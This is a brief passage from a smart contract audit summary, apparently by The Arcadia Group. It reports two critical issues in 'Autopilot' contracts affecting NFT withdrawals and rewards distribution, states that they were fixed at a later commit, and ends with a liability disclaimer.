- **Autopilot contracts at commit #301a6e14250c015905a3ff1f6655b2d60ce32fdc**

The contract has 2 critical issues related to user NFT withdrawals and rewards distribution that need to be addressed. The issues have been cleared out at commit #726d766d8eba37ffcedf1735162c91e82ab996fc

Disclaimer

While best efforts and precautions have been taken in the preparation of this document, The Arcadia Group and the Authors assume no responsibility for errors, omissions, or damages resulting from the use of the provided information. Additionally, Arcadia would like to emphasize that the use of Arcadia's services does not guarantee the security of a smart contract or set of smart contracts and does not guarantee against attacks. One audit on its own is not enough for a project to be considered secure; that categorization can only be earned through extensive peer review and battle testing over an extended period.